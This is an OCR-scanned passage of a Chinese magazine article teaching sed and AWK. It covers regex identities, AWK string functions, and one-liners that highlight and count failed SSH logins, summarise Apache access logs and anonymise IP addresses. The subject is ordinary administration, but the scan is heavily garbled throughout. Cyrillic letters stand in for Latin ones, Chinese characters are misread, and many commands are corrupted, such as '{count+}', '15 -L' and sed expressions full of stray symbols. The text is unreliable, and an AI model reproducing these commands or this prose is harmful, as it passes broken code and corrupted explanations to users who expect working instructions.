(0|1)* |(@ж|1* )* (0712)* | (Ox*1*)* 
жй 


ТЕ АМК 中 使 用 的 正则 表达 式 中 ， 如 下 等 
AERA 





(AB)C = A(BC) = ABC 连接 的 结合 法 则 
(А|В)|С = А|(В|С) = А|В|С | 选择 的 结合 法 则 
(A?|B) = (А|В?) = (A|B)? |? 选择 的 结合 法 则 








А|В = В|А 选择 的 交换 法 则 
АА = А ЖРЕҢУЕВ 2855111] 





СДА 括号 的 性 质 


AB|AC = А(В|С) 选择 的 分 配 法 则 
ВА|СА = (В|С)А 选择 的 分 配 法 则 











А|АВ = АВ? ”选择 的 分 配 法 则 
В|АВ = А?В ?选择 的 分 配 法 则 








АЕ 07 gk” 67 正 前 面 的 表达 式 中 含有 «э» 
к элец? ЕУ, 可 以 省 略 括号 。 
如 果 理 解 了 这 一 点 ，(A ) ~(C ) 可 能 就 变 





(D ) 组 是 指 把 包括 空 列 在 内 的 比特 列表 示 
出 来 。 从 怎样 捕捉 比特 列 的 角度 出 发 ， 得 到 了 


这 里 忆 结 一 下 awk 比 较 重要 的 内 置 字 符 串 控制 阔 数 。 
1. sub 和 gsub 函数 

sub 函数 在 记录 中 检索 匹配 正则 表达 式 的 字符 串 ， 并 
蔡 换 为 需要 的 字符 串 ; gsub AŽ sub) 类似， 不 过 后 者 会 
蔡 换 正则 表达 式 匹 配 到 的 所 有 内 容 。 

格式 : sub(regex, replacement_str, string) 


gsub(regex, replacment_ str, string) 


2. index РА 
index 函数 返回 在 字符 串 中 首次 友 现 substring 的 位 置 。 
格式 : index(string, search_string) 
3. legth ВА 
length 函数 在 字符 串 中 返回 字符 数 。 知 不 使 用 参数 ， 
length 函数 就 返回 1 个 记录 的 字符 数 。 
格式 : Length(string) 


尝试 并 掌握 
AWK 的 基础 


第 = 


不 同 的 正则 表达 式 。(D ) 组 第 1 个 表达 式 是 把 
比特 列 看 成 是 1 个 字符 /(0|1)/ 的 重复 。 而 第 2 个 
表达 式 把 “0” 的 排列 和 “1” 的 排列 当 作 了 基本 
单位 。 第 3 个 表达 式 的 想法 是 把 /0?1?/ 也 就 是 / 
e |0|1I01/ 这 4 种 类 型 当 作 了 基本 单位 。 第 4 个 
表达 式 同 第 3 个 表达 式 ( e: KRZY) 


Bs 


怎么 样 ? 是 不 是 在 此 之 前 只 把 AWK 作 为 
一 种 古典 的 工具 而 忽略 了 它 的 其 他 功能 呢 ? 对 
于 放 不 下 IDE 的 一 代 工 程 师 来 说 ， 是 不 是 重新 
发 现 了 sedawk 等 命令 行 工 具 的 魅力 了 呢 ? 对 
于 通过 模式 和 动作 的 组 合 以 字段 /记录 行 来 识 
别 和 处 理 文本 的 AWK 而 言 ， 敏 捷 是 它 的 特点 。 
像 本 文 使 用 的 option 函数 一 样 ， 我 们 可 以 把 频 
繁 使 用 的 脚本 、 函 数 和 正则 表达 式 的 语法 事先 
做 成 库 ， 作 为 更 加 敏捷 的 编程 工具 进行 使 用 。 

这 里 只 不 过 介绍 了 AWK 的 很 小 一 部 分 功 
能 。AWK 即使 不 能 算是 和 Perl 语 言 、Ruby 语 
言 一 样 的 真正 的 脚本 语言 ,但 也 具备 了 强大 的 
正则 表达 式 和 内 置 函 数 。 有 兴趣 的 读者 和 想 试 
用 的 读者 可 以 进一步 了 解 一 下 。 


























4.substr 国 数 

substr 国 数 在 字符 串 中 用 字符 起 止 偏 移 量 生成 子 串 ， 
551-788. 

格式 : substr(string, start-position, end-position) 
5. match 函数 

检查 正则 表达 式 是 否 能 够 匹配 字符 串 。 
返回 非 0 值 ; AU, REO. 

格式 : match(regex, string) 


6. split РА 

splt 国 数 使 用 第 三 个 参数 的 字段 分 隔 符 截 取 数 组 的 字 
符 串 。 若 第 三 个 参数 不 存在 , awk 就 默认 使 用 FS 内 置 变量 ( 空 
格 ) 值 。 


格式 : split(string, array, delimiter) 


如 果 能 够 匹配 ， 








| 
иш 
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B a = m 
-5 ком 


TD НЕЁ} 
ЄТ 日 志 解 析 


文 / 锥 长 镇 一 роок.поѕратф@їѕигипадајр 1&/ 25 


这 章 我 们 来 学 习 进 行 日 志 解 析 和 收集 的 sed/AWK 单 行 脚本 。 通 过 使 用 sed 和 AWK， 能 够 轻松 地 从 大 量 的 日 志 信 


息 中 提取 出 所 需要 的 东西 。 


F: f 


如 果 需 要 从 大 量 的 日 志 信 息 中 掌握 系统 工 
作 的 状况 ,或 者 确定 问题 的 原因 所 在 ， 对 日 志 
的 提取 和 分 析 是 必 不 可 少 的 。 近 年 来 ,“ 大 数 
据 ” 和 “数据 挖掘 ”这 样 的 字眼 渐渐 取得 了 人 
们 的 关注 。 虽 然 数据 量 在 到 达 某 种 程度 后 ， 就 
需要 采取 将 日 志 进 行 集中 管理 的 方法 ， 但 一 般 
情况 下 ， 将 日 志 以 文件 的 方式 存储 在 桌面 上 就 
能 满足 我 们 的 需求 。 这 里 我 们 将 介绍 如 何 使 用 
sed 和 AWK 这 样 的 基本 命令 , 人 简单 快速 地 分 析 、 
统计 我 们 手头 上 的 日 志文 件 ， 且 不 花费 任何 费 
用 。 由 于 单行 脚本 十 分 轻 量 ， 执 行 时 也 不 需要 
大 量 资源 ， 所 以 可 以 随时 随地 多 次 执行 。 让 我 
们 通过 不 断 地 尝试 ， 将 单行 脚本 作为 我 们 日 常 
工具 的 一 部 分 吧 。 

本 篇 所 有 的 例子 都 是 在 CenterOS 6.4 中 执行 
的 。 日 志文 件 的 路 径 以 及 文件 名 请 大 家 根据 具 
体 的 环境 进行 相应 的 修改 。 男 外 ， 操 作 CentOS 
的 日 志文 件 需 要 管理 员 权 限 。 单 行 脚本 在 使 用 
管理 员 权限 执行 的 时 候 ， 提 示 符 使 用 P 表示 。 
使 用 sed 和 AWK 
进行 日 志 解析 的 基础 

sed 和 AWK 作 为 基本 命令 ， 被 预 装 在 许多 
UNIX 系 的 操作 系统 之 中 。 使 用 Perl 或 者 Ruby 
编写 的 脚本 虽然 生产 性 很 高 ， 但 它们 有 时 则 没 
有 被 预 装 在 操作 系统 当中 。 如 果 可 以 在 日 常 的 




















生活 以 及 工作 中 使 用 像 sed 这 样 基 本 的 命令 ， 
即使 有 紧急 事件 发 生 ， 也 可 以 从 容 地 应 对 。 
不 论 怎么 说 ， 基 本 的 命令 都 是 非常 轻 量 的 。 
对 操作 系统 的 负担 很 小 ,执行 速度 也 十 分 地 快 。 
例如 ， 如 果 要 打开 超过 1GB 大 小 的 日 志文 件 ， 
使 用 Emacs 或 者 vi 来 进行 操作 的 话 ， 将 会 消耗 
大 量 的 内 存 ， 并 且 速 度 也 将 十 分 缓慢。 而 使 用 




















sed 的话 则 不 仪 可 以 使 用 日 期 或 字符 串 来 对 文 
件 进 行 过滤 ， 还 可 以 指定 相应 的 行 数 。 例 如 ， 
我 们 可 以 像 下 面 这 样 取出 第 100 一 200 行 。 


$ sed -e '100,200р' 文件 名 





过 滤 后 的 内 容 可 以 使 用 管道 符 (| ) 将 结 
输出 到 more 或 less 这 样 的 分 页 程序 中 ， 也 可 使 
用 重 定 回 符 (> ) 将 结果 输出 到 文件 ， 这 样 的 话 
即使 数据 很 大 , 也 可 以 轻松 地 应 对 。 除 了 过 滤 ， 
如 果 还 需要 统计 的 话 ， 可 以 使 用 AWK。 我 们 
可 以 像 下 面 这 样 使 用 AWK 计算 文件 的 行 数 。 


$ awk '{count+} END {print count}' 文件 名 


AWK 还 可 以 取出 以 空格 分 割 的 字段 。 我 
们 可 以 像 下 面 这 样 计算 1s 命 令 输 出 的 当前 目录 
下 文件 的 大 小 (以 空格 分 隅 的 第 $ 列 数据 )。 





$ 15 -L | awk '{size+=$5} END {print size}' 





我 们 将 “ls -1” 的 结果 通过 管道 从 输出 到 
АМК 中， 并 取出 表示 文件 大 小 的 第 5 列 数据 ， 
然后 将 它们 加 在 一 起 。 此 外 还 可 以 进行 行 数 、 
特定 字符 串 出 现 的 次 数 等 许 许 多 多 的 统计 。 




















对 结果 进行 排序 的 话 ， 使 用 sort 命 令 将 十 
分 方便 。 如 采 我 们 想 将 各 用 户 的 Home 目录 按 
照 使 用 量 的 多 少 进行 排序 ， 可 以 先 使 用 du 命 
令 输 出 /home 内 各 个 目录 的 磁盘 容量 ， 之 后 再 
使 用 管道 符 将 结果 输出 给 sort 命 令 。 可 以 添加 -n 
选项 给 sort 命令 ,将 数值 作为 Key 进 行 排序 。 
同时 ， 还 可 以 添加 -< 选项， 让 结果 按照 从 大 到 
小 的 顺序 排列 。 











$ du -s /һоте/* | sort -nr 
487430 /home/tsurunaga 


52426 /home/gihyo 
2064 /home/kaneda 


除了 文件 大 小 以 外 ， 还 可 以 根据 某 一 模式 
的 出 现 次 数 或 者 速度 这 样 的 数值 对 结果 进行 排 
序 ， 使 结果 更 具 可 读 性 。 


日 志 解 析 和 报告 


从 现在 开始 , 我 们 将 使 用 具体 的 日 志文 件 ， 
问 大 家 介绍 解析 以 及 报告 的 方法 。 前 半 部 分 将 
使 用 ssh 服务 的 日 志 ， 后 半 部 分 将 使 用 Web 服 
务 器 的 日 志 。 其 他 类 型 的 日 志 也 是 一 样 ， 通 过 
根据 文件 格式 对 过 滤 条 件 进行 相应 的 修改 ， 以 
下 方法 也 完全 可 以 适用 。 


的 ssh 登录 服务 的 日 志 解析 与 报告 


CentOS 的 ssh 服 务 将 登录 错误 记录 在 /var/ 














高 手 教 你 用 sed/Awk E/E 
日 志和 解析 E parti) 


错误 侦 测 工作 也 将 能 更 好 地 进行 。 我 们 可 以 使 
用 sed 的 字符 串 蔡 换 功 能 ， 将 重要 的 字符 串 以 
及 它们 的 背景 高 亮 显 示 。 比 如 ， 在 ssh 服 务 的 
日 志 (/var/log/secure ) 文 件 中 ,为 了 能 更 清楚 
地 显示 密码 输入 错误 的 记录 ， 可 以 在 能 够 显示 
颜色 的 终端 上 出 使 用 图 1 这 样 的 单行 脚本 。 

之 后 就 可 以 看 到 “Failed password” FIFE 
显示 为 了 蓝 绿色 ,背景 色 显示 为 了 蓝 色 ， 如 
图 2 所 示 。 这 时 非法 使 用 痕迹 也 更 易于 察觉 。 
图 1 中 脚本 大 概 按 照 如 下 方式 执行 。 

在 ssh 登 录 失 败 的 时 候 ，/var/log/secure 文 
件 会 记录 如 图 3 所 示 的 内 容 ， 所 以 对 于 字符 串 
“Failed password”, 我 们 使 用 sed 将 其 进行 符 换 。 
基本 形式 是 “sed -e 's/ 被 替换 内 容 / 蔡 换 内 容 /”， 
将 被 蔡 换 内 容 指定 为 “Failed раѕѕуога\)”, Ж 
换 内 容 指 定 为 “xlb[1;36;44m\l\xlb[0m”。 通 
过 “\( 模 式 \)” 指 定 被 替换 内 容 ， 就 可 以 在 蔡 换 
内 容 中 用 “1” 引用 匹配 该 模式 的 字符 串 。 其 
前 后 的 “xlb[1:36;44m” 与 “xlb[0m” 是 高 亮 
字符 串 及 其 背景 的 转 义 序列 。“\xlb” 是 ESC 代 
码 的 16 进 制 表 示 ,“1;36;44” 表 示 “ 文 字 风 格 ; 
文字 颜色 ; BRE, 用 [~m ”把 它们 绑 定 
在 一 起 ， 这 里 将 其 指定 为 了 “ 粗 体 ; 文字 颜色 
( 蓝 绿色 ); 背景 色 ( 蓝 色 》》。 除 了 匹配 这 个 模 















































D BSD 系 的 sed 等 , 根据 sed 的 版 本 ， 有 可 能 无 法 高 亮 显 示 。 
@ 因为 是 黑白 印刷 ， 颜 色 变 成 了 浅 灰色 。 
(3) 因为 是 黑白 印刷 ， 颜 色 变 成 了 浅 灰色 。 








log/secure 文 件 中 。 通 过 使 用 单行 脚本 ,我 们 
可 以 迅速 地 发 现 非 法 访问 以 及 异常 登录 。 





vE? 用 颜色 高 亮 显示 密码 输入 错误 的 效果 


гоо ЕТ. 















将 日 专 中 重要 的 字符 串 高 亮 显示 

仅仅 使 用 tail 或 者 more 这 样 的 命令 浏 
览 日 志 的 话 , 可 能 会 不 小 心 错 过 重要 的 信息 。 
如 条 可 以 将 重要 的 字符 串 突 出 显示 ， 那 么 


Jul 18 75:02:71 Сепїй®ъһ =5һа[ 120851: & ЕТТП for shin from 197.168.139.775 
4 port 44560 ssh2 

Jul 10 13:02:34 Сепї056Ь 55һ4[12@0%]: 
а роге 44588 =5һ2 

Jul Т8 13:05:58 Септохв sshar 120241: (Ж ЕЕ 
from 192.158.19.215 port 51005 sah 
Jul 1 15:05:55 Cents 550120241: 
from 197.188.193.713 port 51805 557 
Jul Т8 13:05:55 Септохв sshar 120241: (Ж ШЕ 
from 192.168.19.215 port 51005 sah 
Jul 16 15:00:12 Cents 550120551: 
4 рогі 44581 ssh2 

Jul 10 15:06:17 Centi 55122251: 
4 port 44561 ssh2 

Jul 1й 15:00:20 Cents sshdfi2035]: 
4 рогі 44581 ssh2 

Jul 18 13:06:35 Септ056 hE 
trom 192.1658.19.213 port 51007 58] 
Jul 16 13:06:35 Cents 55һ4[121047]: 
from 197.188.193.713 port 51087 5617 
Jul 11 22:00:27 Сепїбоб 58һ@[4615]: АБ Ж ЕЕ for root from 127.0.0.1 porti 


ee Гог shin from 192.168.13.12 
Meana for invalid user &11йёєһпн 


ea Гог Lnvalid user slideshow 





ЕЕ] for invalid user slideshow 
ee Гог shin trom 192.168.13.12 
„БЕКИ. for shin from 197.164.14.77 
КЕЙЫ Гог shin trom 192.168.13.22 


有 图 1 用 颜色 高 亮 显示 错误 的 密码 输入 


Ж» БЫША ШС, EA > 


КИ for invalid user slideshow 


FalLed ЕЕЕ Гог Lnvalid user slideshow 





36;44m\1\x1bL0m/' /var/log/secure 
※ 访 问 /var/Log/secure 目 录 需 要 管理 员 权 限 


59591 552 | | 
Jul 11 22:00:30 СепЕосе 55һ4[4615]1- eu {пг root from 127.0.0.1 port 
59393 55H77 E 


— 
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从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 





式 的 字符 串 之 外 ， 其 余 全 部 采用 正常 方式 显示 ， 
这 里 使 用 “0m” 对 它们 进行 重 置 。 

其 他 可 以 指定 的 内 容 如 表 1 所 示 。 

如 果 需 要 同时 高 忱 两 处 不 同 的 地 方 ， 可 以 
使 用 “sed -e 脚本 1 -e 脚本 2” 的 形式 ,追加 相 
应 的 被 蔡 换 内 容 以 及 蔡 换 内 容 即 可 。 例 如 执行 
图 4 的 脚本 后 ， 在 高 亮 “Failed password ”的 同 
时 ,“authentication failure” 也 将 被 高 亮 成 红色 。 

虽然 可 以 使 用 上 述 方法 指定 高 亮 各 个 匹配 
字符 串 的 颜色 , 但 是 采用 单行 脚本 就 不 是 那 
么 有 效率 了 。 在 需要 高 之 多 处 的 情况 下 ,使 
用 sed 脚 本 会 更 加 简洁。 这 里 我 们 将 脚本 写 入 
color.sed 文件 (代码 清单 1)， 采 用 “-f 脚 本 文件 
名 ”这 样 的 参数 执行 sed。 在 colorsed 脚 本 中 ， 
除了 之 前 介绍 的 “Failed password/authentication 
failure” 高 完 以 外 ， 还 会 将 “sudo” 显 示 为 绿色 ， 
并 在 每 行 的 开头 以 粗 体 显 示 相 应 的 日 期 (“Jul 9 
23:05:50”)。 


ТТ Wo ТИЕ, АИА TAN: 


VRI 高 党 字符 串 以 及 背景 时 可 以 使 用 的 转 义 序列 
文字 颜色 























重症 风格 





接 下 来 ， 我 们 来 讲解 一 下 如 何 从 日 志 中 根 
据 访 问 源 地 址 得 出 非法 访问 数量 。 例 如 ， 寿 需 
要 根据 访问 源 地 址 统计 ssh 访 问 失 败 的 次 数 ， 
只 需要 对 日 志 ( /var/log/secure ) 执 行 sed 命 令 即 
可 ， 如 图 5 所 示 。 

我 们 以 “sed -n -e /对 应 行 /s/ 被 蔡 换 内 容 
/替换 内 容 / 作为 基础 ， 将 “Failed password” 
指定 为 非法 访问 时 记录 的 字符 串 ， 便 可 将 记录 
有 非法 访问 的 行 单独 取出 。 为 了 忽略 其 他 不 匹 
配 的 行 ， 我 们 问 sed 添 加 “-n” 选 项 。 同 时 ,为 
了 得 到 访问 者 的 他 地址， 可 以 将 被 蔡 换 的 内 容 
指定 为 “.*sshd.*Failed password for.*from \([0- 
9.] *N port .*”。“.*” 表 示 任 意 字 符 串 ,“[0-9.]*\” 
表示 包含 0 ~ 9 的 数字 以 及 “. (点 》 的 字符 串 ， 
也 就 是 像 “192.168.0.3” 这 样 的 全 地 址 。 通 过 
在 前 后 添加 “\(с\)”, 可 以 在 替换 内 容 中 使 用 “1” 
引用 匹配 的 字符 串 。 这 样 一 来 ， 只 要 我 们 在 蔡 
换 内 容 中 指定 \1”， 就 可 以 去 除 卫 地址 以 外 的 
FP Г. 
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у 83 ssh 登录 失败 时 的 日 志 
Jul 10 13:05:55 Host sshdL12024] : 


Failed password for invalid user OO 
from 192.168.19.213 port 51005 ssh2 





vt color.sed 


s/\(Failed password\)/\x1b[L1;36;44m\1\x1bLOm/ 


vē. ”同时 高 亮 两 处 


# sed -e 's/\(Failed раѕѕмога\) /\ 
x1b[L1;36;44m\1\x1b[LOm/' \ 
-е 's/\(authentīication failure\)/\ 


xXIbL5;31;43m\1\x1bLøm/' \ 
/var/log/secure 





s/\(authentication failure\)/\x1b[L5;31;43m\1\x1bLOm/ 


s/\(sudo\)/\x1b[L1;32;45m\1\x1bLOm/ 


s/\C^.*xC0-91]L0-91:C0-91C0-91:C0-91C0-91\)/\x1bC1m\1\x1bL0m/ 








高 手 教 你 用 sed/Awk ШРУЛР 
日志 解析 [рот] 


У [5 使 用 sed 计 算 非法 访问 数 ( 根 据 访问 源 地 址 进行 计算 ) 
# sed -n -e '/Failed password/s/.* sshd.xFailed password for.xfrom \СЕ0-9. 1ж\) port .ж/\1/р! 


/var/log/secure | sort | uniq -c 
3 127.0.0.1 
5 192.168.19.213 
9 192.168.19.224 

... Е... 


有 图 6 使 用 sed 显示 非法 访问 Top 10( 按 照 次 数 由 多 到 





少 显示 最 多 的 10 个 地 址 ) 


# sed -n -e '/Failed раѕѕмога/5/.ж ѕѕһа. жҒаї(еа password for.xfrom \СС0-9. 1ж\) port .ж/\1/р' 
/var/log/secure | sort | uniq -c | sort -nr | head 10 


120 192.168.1.20 
90 192.168.1.15 
65 192.168.1.33 

6 127.0.0.1 
2 192:168:1:15 





+ 7 ”使 用 sed 计 算 Web 服务 的 非法 访问 数 


# sed -n -e '/Cerror]/s/.*x\Cclient \(.*»\)\].*/\1/p' /var/log/httpd/error_log | sort | uniq 


-c | sort -nr | head 10 





在 使 用 sed 取 得 了 非法 访问 的 源 耳 地址 后 ， 
使 用 管道 符 将 结果 输出 到 sort 命 令 中 进行 排序 。 
之 后 我 们 还 可 将 结果 输出 到 uniq 命 令 中 。 添 加 

c” 选 项 将 重复 的 IP 地 址 合并 ， 同 时 对 行 数 进 
行 合计 ， 就 能 得 到 最 终 的 结 

我 们 还 可 以 将 结果 进行 进一步 的 加 工 ， 例 
如 如 有 果 和 希望 按照 非法 访问 次 数 将 访问 源 地 址 进 
行 排序 ， 并 显示 数量 最 多 的 前 十 位 ， 就 可 以 在 
图 $ 的 单行 脚本 后 添加 “| sort -nr | head 10”( 图 
6 )。 其 中 , “sort -nr” 表 示 将 结果 从 多 到 少 进 
行 排序 ,，“head 10” 表 示 仪 显示 前 十 位 结 

通过 改变 匹配 字符 串 的 内 容 ， 还 可 以 很 容 
易 地 计算 其 他 服务 的 非法 访问 数 。 例 如 ， 硅 想 
要 计算 Web 服务 的 非法 请 求 客 户 端 数量 ， 则 可 
以 对 /var/log/httpd/error log 文 件 执行 图 7 所 示 
的 单行 脚本 。 


的 Web 服 务 的 日 志 解析 与 报告 


下 面 我 们 以 Apache HTTPD (后 称 Apache ) 
的 访问 日 志 (/var/log/httpd/access log ) 为 例 ， 
讲解 使 用 sed/AWK 分 析 Web 服 务 日 志 的 方法 。 














访问 日 志 的 格式 

Apache 访 问 日 志 有 很 强大 的 上 自 定义 功能 。 
因此 根据 环境 的 不 同 ,， 访问 日 志 以 及 错误 日 志 
的 格式 会 有 所 差异 。 这 里 我 们 使 用 较为 常见 的 
“combined” 格 式 的 访问 日 志 ( 图 8 )。 

Apache 的 访问 日 志 的 格式 ， 可 以 在 配置 文 
件 ( 通 稼 是 httpd.conf ) 中 ,使 用 像 “%h” 以 及 
“%1” 这 样 的 占 位 符 进行 定义 ， 如 图 9 所 示 。 我 
们 可 以 像 下 面 这 样 使 用 AWK 将 被 空格 分 隔 符 
分 隔 开 的 各 个 字段 提取 出 来 。 

# awk '{print $1}' access (од 

1 访问 源 TIP 地址 
awk '{print $2}' access Log 
1 ВЕС 1413 ID 
awk '{print $3}' access Log 
1 用户 ID 
awk '{print $4,$5}' access log 
1 访问 时 间 
awk '{print $9}' access Log 
Т 响应 代码 


awk '{print $10}' access (од 
Т 发 送 的 数据 量 








为 Request Line /HTTP Referer/ 用户 代 理 
( User Agent ) 是 包含 在 “"~"( 双 引号 》 之 中 的 ， 








Р, 


特辑 ] | 


UNIX 工 程 师 的 喜好 


从 现在 开始 sed/AWK BAJ 








我 们 需要 根据 “"” 将 字段 取出 。 因 此 ， 我 们 问 
AWK 添加 “-F\"” 选 项， 来 修改 边界 符 。 


# awk -Е\" '{print $2}' access Log 


1 Request Line 


awk -F\" '{print $4}' access (од 


^ НТТР Referer 


awk -F\" '{print $6}' ассеѕѕ (од 


1 用户 代理 





显示 Top 10 

在 明白 了 如 何 取 出 各 个 字段 后 ， 我 们 就 可 
以 根据 每 个 字段 的 数量 ， 对 访问 日 志 进 行 统计 
了 。 奋 想 要 查看 访问 数 最 多 的 客户 ， 可 以 使 用 
如 图 10 所 示 的 单行 脚本 ,显示 访问 数量 最 多 
的 前 十 位 访问 源 卫 地址 。 

这 里 我 们 使 用 AWK 从 访问 日 志 中 取出 访 
问 源 耻 地址， 并 通过 sort 将 其 按照 卫 地 址 进行 
排序 ， 之 后 再 通过 uniq 计 算 重 复 的 行 ， АИ 
再 次 送 入 sort 进 行 排序 ， 最 后 使 用 head 命 令 和 

ШО ШЫ ш. 






































У 8 combined 格式 的 访问 日 志 
10.0.2.13 - - C21/Jul/2013:18:12:57 +09001 "СЕТ /wordpress НТТР/1.1" 301 310 "—" "Mozilla/..." 





址 ， 我 们 使 用 “awk '{print $1}” 取 出 第 一 列 的 
内 容 ， 除 此 以 外 和 图 6、 图 7 基本 相同 。 如 果 
使 用 “awk '{print $4}'/awk '{ргіпі $9})'” 取 出 其 
他 字段 的 话 ， 就 可 以 显示 其 他 条 目的 数量 以 及 
Top 10 了 (图 11)。 

除了 单纯 地 计算 总 和 ,我 们 还 可 以 通过 
对 AWK 设 置 不 同 的 条 件 来 进行 计算 。 例 如 ， 
如 果 想 要 检查 非法 访问 以 及 脚本 的 异常 情况 ， 
就 可 以 像 图 12 的 单行 脚本 一 样 , 使 用 “$9 
/200|304/” 这样 的 条 件 ， йл h Ци ЛУ AR ЛЫ ДЕ 
“200” 以 及 “304” 以 外 的 日 志 。 

执行 图 12 所 示 的 脚本 后 ，AWK 将 会 选 出 
响应 代码 是 200/304 以 外 的 请 求 URL， 然 后 将 
其 通过 管道 行 输出 到 sort 以 及 uniqg， 并 按照 由 
多 到 少 的 顺序 显示 。 通 过 将 啊 应 代码 以 及 请 求 














的 URL 一 并 显示 , 不 仅 可 以 很 清楚 地 发 现 哪 
ea ш, 


部 的 攻击 ， 还 是 Web 应 用 程序 的 错误 。 男 外 ， 
通过 改变 条 件 ， 我们 还 可 以 实现 根据 Request 


10.2.5.67 - - C21/Jul/2013:18:15:18 +09001 "СЕТ /robots.txt НТТР/1.1" 404 292 "—" "Googlebot/2.1" 





У 9 配置 Apache 访 问 日 志 的 格式 











Э 
CustomLog (одѕ/ассеѕѕ 109 combined 
LogFormat |"#һ #1 ќи %t \"г\" %>s Xb \"%{Referer}i\" \"%{User-Agent}i\""| combined 
y 

%h :访问 源 IP 地 址 %>s :响应 代码 

XL :RFC 1413 Ір АЫ :发 送 的 数据 量 

Xu :用 户 ID %{Referer}i :HTTP Referer 

Xt :访问 时 间 x{User-Agent}i :用 户 代理 

Аг :Request Līne 

A 





Уу 10 显示 访问 源 IP 地 址 Top 10 


$ awk '{ 人 tprint $1}' Ye | sort | uniq -c | sort -nr | head -10 


1721 217.147.8.200 
1496 165.245.212.150 
1414 251.60.39.151 


1380 140.189.174.80 
1337 174.86.33.234 


1335 202.60.24.252 
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邮 


Line 对 日 志 进 行 统计 ， 或 者 只 统计 正常 请 求 的 
数据 传输 量 等 功能 。 


不 同 响应 代码 的 传输 量 

接 下 来 让 我 们 使 用 循环 以 及 关联 数组 等 
АМК 的 高 级 功能 来 计算 总 和 以 及 平均 值 。 我 
们 可 以 执行 如 图 13 所 示 的 单行 脚本 ,计算 从 
服务 器 传输 到 客户 端的 数据 量 的 总 和 。 ”total[$9] 
+= $10” 表示 通过 使 用 关联 数组 (total[] )， 我 
们 可 以 获得 各 个 响应 代码 传输 量 的 总 和 。 
“END{...}” 区 块 表示 在 所 有 的 日 志 都 读 取 完毕 
后 , 仪 需要 执行 一 次 的 内 容 。 在 END 区 块 内 部 ， 
取出 total[] 中 的 各 个 元 素 , 执行 相应 次 数 的 
“printf "..."”， 并 以 一 定 的 格式 显示 各 个 响应 代 
码 以 及 它们 的 传输 总 量 。 同 时 ,为 了 将 传输 量 


У [811 显示 HTTP Referer/ 响 应 代码 /用 户 代 理 的 Top 10 


- НТТР Referer 
$ awk -Е\" '{print $4}' ассеѕѕ (од | sort | uniq -c | sort -nr | head -10 
53903 http://www. OO.jp/ AA... 
11479 - 

3591 http://www. OO .jp/ AA... 
2/99 http://www. OO.jp/ VY ЧА 


З 响应 代码 


高 手 教 你 用 sed/AWK 


Сү / 8 


日 志 解析 置 por 1 





以 Kb 作为 单位 显示 ， 我 们 将 结果 除 以 1024。 


平均 响应 时 间 
响应 时 间 是 Web 服务 中 一 项 非常 重要 的 性 
能 指标 。 很 多 网 站 都 将 “页 面 的 刷新 要 在 O 秒 
内 完成 ” 作为 Web 服务 的 一 项 非 功能 性 条 件 宇 
若 想 要 在 Apache 的 日 志 中 确认 响应 时 间 ， 就 
需要 对 其 日 志 格 式 进行 相应 的 更 改 ( 图 14 )。 
使 用 如 图 15 所 示 的 单行 脚本 ， 从 修改 后 
的 日 志 中 取出 并 计算 平均 响应 时 间 。 在 像 图 14 
那样 设 定 日 志 格 式 后 ， 各 请 求 的 响应 时 间 将 被 
记录 在 最 后 一 个 字段 中 。 我 们 可 以 使 用 “$NF” 














D 刷新 单一 Web 页 面 时 ， 由 于 会 同时 发 起 图 像 以 及 HTML 


文档 等 多 个 请 求 ， 因 此 单一 URL 的 请 求 啊 应 时 间 和 页 面 
整体 的 刷新 时 间 并 不 一 致 。 


# awk '{ 人 print $9 }' access Log | sort | uniq -c | sort -nr 


7295 200 
2911 304 
21533 404 
1474 500 
1400 301 


3 APRE 












awk -F\" '{print $6}' access log | sort | uniq -c | sort -nr | head -10 

5891 Mozilla/5.0 (Windows; U; Windows ... Safari/534.10 

4145 Mozilla/5.0 (Macintosh; U; Intel Mac OS X ... Firefox/3.6.12 

2558 Mozilla/5.0 (Windows; U; Windows NT ... Firefox/3.6.12 

1959 Mozilla/5.0 (Macintosh; U; Intel Мас OS X ... Chrome/8.0.552.215 Safari/534.10 





vE 根据 请 求 URL 计 算 疑 似 非法 访问 的 日 志 数 量 


$ awk '$9 I~ /200|304/{print $9,$7}' access Log | sort | uniq -c | sort -nr 
2027 404 /wp-content/VpLugins/... 
1473 500 /wp-comments-post .php 


96 206 /2010/12/03... 
- . -省 略 . . . 





ЭЭ 
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从 现在 开始 sed/AWK BAJ 


1 UNIX 工 程 师 的 喜好 
特辑 








将 它 取 出 。 逐 行 读 和 日志， 并 计算 总 和 ( sum ) 
以 及 行 数 (count )， 在 读 入 了 全 部 内 容 之 后 ， 
计算 出 平均 值 ， 同 时 除 以 1000， 将 单位 从 秒 变 
为 训 秒 。 若 仅仅 想 要 得 到 正常 请 求 的 响应 时 间 ， 
我 们 可 以 添加 ($9 == 200 )， 仅 取出 响应 代码 
是 200 的 日 志 。 通 过 改变 条 件 以 及 计算 方法 ， 
我 们 可 以 得 到 响应 较 慢 的 URL 或 访问 源 。 


9) 数据 的 匿名 化 


我 们 将 日 志 交 付 到 其 他 部 门 或 者 公司 以 外 
的 地 方 时 ， 如 果 不 加 处 理 就 直接 交付 ， 不 仅 可 
能 会 泄露 个 人 或 者 公司 的 信息 ， 同 时 还 违反 了 
对 机 密 信息 的 保密 义务 。 所 以 在 交付 日 志 的 时 
候 ， 将 能 够 特定 到 个 人 的 信息 进行 隐藏 等 ， 对 
日 志 进 行 匿名 化 (anonymize ) 处 理 是 必 不 可 
少 的 。 

















У 13 不 同 响应 代码 的 传输 量 


# awk ' < total[L$9] += $10 } ЕМ { for (x in total) { printf "Status code #34 : 


Kb\n", х, totaLLxJ/1024 } } ' ассеѕѕ Log 
Status code 304 : 502 
Status code 404 : 5106. 
Status code 500 : 2336. 
Status code 200 : 329836. 
Status code 206 : 4649. 
Status code 301 : 555. 
Status code 302 : 20. 


У 14 向 Apache 的 访问 日 志 中 添加 响应 时 间 





有 图 15 计算 平均 啊 应 时 间 
3 全 部 响应 





LogFormat "4ph 41 Жи bt \"Жг\" %>s %b \"%{Refererł}i\" \"%{User-Agent}i\"" %D combined 


X ТЕ Apache 2.0 以 上 的 版 本 中 ，access_ log Т 
的 格式 使 用 了 combined 的 情况 下 。 


隐藏 访问 源 IP 地 址 

为 了 使 访问 Web 服 务 絮 的 客户 端 无 法 被 确 
A, 我 们 可 以 使 用 AWK， 通过 将 第 一 个 字段 
替换 为 “XX.XX.XX.XX"” 这样 的 字符 串 ， 来 隐 
98017719] 09 ІР HEHE o 





# awk '< $1 = "ХХ. ХХ.ХХ.ХХ"; print $0 }' 
ассеѕѕ log 
